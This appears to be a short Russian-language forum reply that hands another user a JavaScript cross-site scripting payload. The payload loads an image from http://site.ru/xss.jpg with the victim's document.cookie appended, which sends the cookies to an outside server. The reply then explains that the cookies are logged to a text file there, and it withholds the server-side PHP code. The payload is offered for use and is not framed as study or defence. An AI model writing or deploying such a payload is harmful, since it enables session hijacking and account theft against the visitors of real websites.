XaKeRoK,

var img=new Image();
img.src="http://site.ru/xss.jpg?"+ encodeURI(document.cookie);

Запрос получаешь и сохраняешь куки в текстовый файл на сервере.

PHP код не дам, т.к я и так почти нарушил правила, это не хак форум.